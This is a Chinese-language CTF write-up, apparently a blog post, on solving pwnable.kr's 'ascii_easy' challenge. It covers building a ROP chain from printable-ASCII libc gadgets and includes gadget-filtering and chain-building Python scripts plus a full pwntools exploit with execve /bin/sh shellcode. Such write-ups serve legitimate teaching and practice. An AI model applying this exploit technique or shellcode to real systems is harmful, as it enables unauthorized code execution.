pwnable.kr ascii_easy writeup

兜兜转转,又回来这里刷题

这题讲真有点难度,虽然在实际比赛的时候比较少可能会出现这类题……..

很明显可以用rop,但是rop链只能全部为ascii可见字符…..这就有点难度了

这题其实我想了好几种办法,但是实际用了只有一种,不过在这里也说下

  1. 利用rop链将ebx的值改为libc中got表的地址,然后跳转到one gadget
    这个本来感觉是最快捷的办法,但是将gadget过滤掉一部分之后,发现并不行,很难将ebx的值改掉,虽然有可能我的过滤条件设得太多,导致一部分可以用的gadget也过滤掉了
  2. 利用rop将shellcode写入map出来的libc的地址,然后跳转到该地址
    这个方向理论上是可行的,但是有可能会导致rop链有点长
    为什么可行呢?因为在gadget中存在着一个比较特别的gadget:
    '\\d`U' 0x5560645C : mov dword ptr [edx], eax ; ret
    而在gadget又存在着大量比较短,但是直接mov eax,xxx; ret; 或者 add eax,xxx; ret;的gadget
    利用这些gadget,可以理论上将eax改为任何值,然后再写到edx所在的地址

    但是因为add eax,xxx;xxx的值一般比较小,要add多次,或者其实可以用mul之类的来加速,但是我嫌麻烦就没有找

  3. 利用rop 触发int 80; 调用read ,将shellcode写入int 80后的地址
    最终用的是这个,因为比较短,比较好用,虽然过程中被一个带有\的gadget坑了换成另外一个…..
    本来我是想直接找int 80,而且又在ascii可见字符范围内的,但是找不到……于是退而求其次,因为asm(” int 80h;”) = “\xcd\x80” 所以找到在ascii可见字符范围内的\xcd,在其后面写入一个0x80,然后将寄存器eax =3,ebx=0, ecx=addr edx=size ,跳到int 80这里,写入shellcode,get shell成功

说起来好像很轻松,但是实际上我写了好几个脚本来辅助找gadget和构建shellcode……

首先可以利用ROPgadgets 这个工具,获取libc 里的gadgets

然后我写了一个脚本来过滤不在ascii范围内的gadgets


import struct
f=open('./gadgets.txt','r')
gadgets=f.read().split('\n')
f.close()

base_addr=0x5555e000

regs=['ebx','eax','ecx','edx']
ban=['jne','jbe','jae','cmp']

def is_ascii(x):
    for i in x:
        if i<32 or i>127:
            return False
    return True

def in_regs(x):
    for i in ban:
        if i in x:
            return False
    for i in regs:
        if i in x:
            return True
    return False

def filter_addr(gadgets):
    gad=[]
    for i in gadgets:
        addr=int(i[:10],16)+base_addr
        addr_p=struct.pack('<L',addr)
        if is_ascii(addr_p) and in_regs(i) and i[-3:]=='ret':
            gad.append(("%s  0x%08X"%(addr_p,addr))+i[10:])
    return gad

f=open('./filter_gadgets','w')
gadgets=filter_addr(gadgets)
gadgets.sort(key=lambda x:len(x))


for i in gadgets:
    f.write(i+'\n')
f.close()

得到gadgets之后,慢慢手动找gadgets,然后写了一个脚本,来实现eax的任意值,构建rop链也顺便写在这里了,这里将ebx置为0也花了一番心思,首先是发现有xor ebx,ebp,然后又发现一个gadgets是 pop ebx,pop ebp的,将两个结合起来就可以将ebx置为0了

import struct

eaxs={}
addeaxs={}
for i in range(256):
    eaxs[i]=""
    addeaxs[i]=""
eaxs[0]='? ]U'
eaxs[1]='RldURldU'  #pop ebx
eaxs[2]='RldURldU6pjU'
eaxs[3]=' T`U'
eaxs[4]='0T`U'
eaxs[5]='@T`U'
eaxs[6]='PT`U'
eaxs[7]='`T`U'
eaxs[8]='VqjUVqjU' #pop edi
eaxs[0x20]='8zaU'
eaxs[0x7f]='\\"yaUaaaa' #pop ebx
eaxs[0xfa]='pyaU'

addeaxs[3]='5njU5njU' #pop edi
addeaxs[7]='[njU[njU' #pop edi
addeaxs[8]='0d_U'
addeaxs[0xc]="'rjU'rjU" #pop edi
addeaxs[0xd]=',rjU,rjU' #pop edi
addeaxs[0xe]='1rjU1rjU' #pop edi

def p32(x):
    return str(struct.pack('<L',x))[2:-1]

int80_addr=p32(0x556b5a6d)
cd_addr=p32(0x556b5a6d+1)
shell_addr=p32(0x556b5a6d+2)

mov_ebx_0='-7jU-7jU-7jU-7jUK6cU'
def pop_ecx(x):
    pop='Q*mU'+x
    return pop

def pop_edx(x):
    pop='U5_U'+x+'pedi'
    return pop

#mov_dedx_eax='\\d`U'
mov_dedx_eax='Zd`U'

pls=[3,7,8,0xc,0xd,0xe]

for i in range(9,0xff):
    for q in pls:
        if i>=q:
            if len(eaxs[i]) ==0 and eaxs[i-q]!="":
                eaxs[i]=eaxs[i-q]+addeaxs[q]
            elif  len(eaxs[i]) !=0 and len(eaxs[i-q])+len(addeaxs[q]) <len(eaxs[i]):
                eaxs[i]=eaxs[i-q]+addeaxs[q]
print(eaxs[0x80])
print(mov_dedx_eax)

shell='a'*32+pop_edx(cd_addr)+eaxs[0x80]+mov_dedx_eax+mov_ebx_0+pop_ecx(shell_addr)+pop_edx(shell_addr)+eaxs[3]+int80_addr
shell=shell.replace("\\","\\\\").replace("`","\\`").replace(" ","\\ ")
print(shell)

至于找0xcd那个脚本这里就不放出来了,自己写一个很容易的

然后最后放的是payload

from pwn import *



payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaU5_UnZkUpedi8zaU0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_UZd\`U-7jU-7jU-7jU-7jUK6cUQ*mUoZkUU5_UoZkUpedi\ T\`UmZkU'


p=process('./ascii_easy '+payload, shell=True)


shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"

p.sendline(shellcode)


p.interactive()

©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页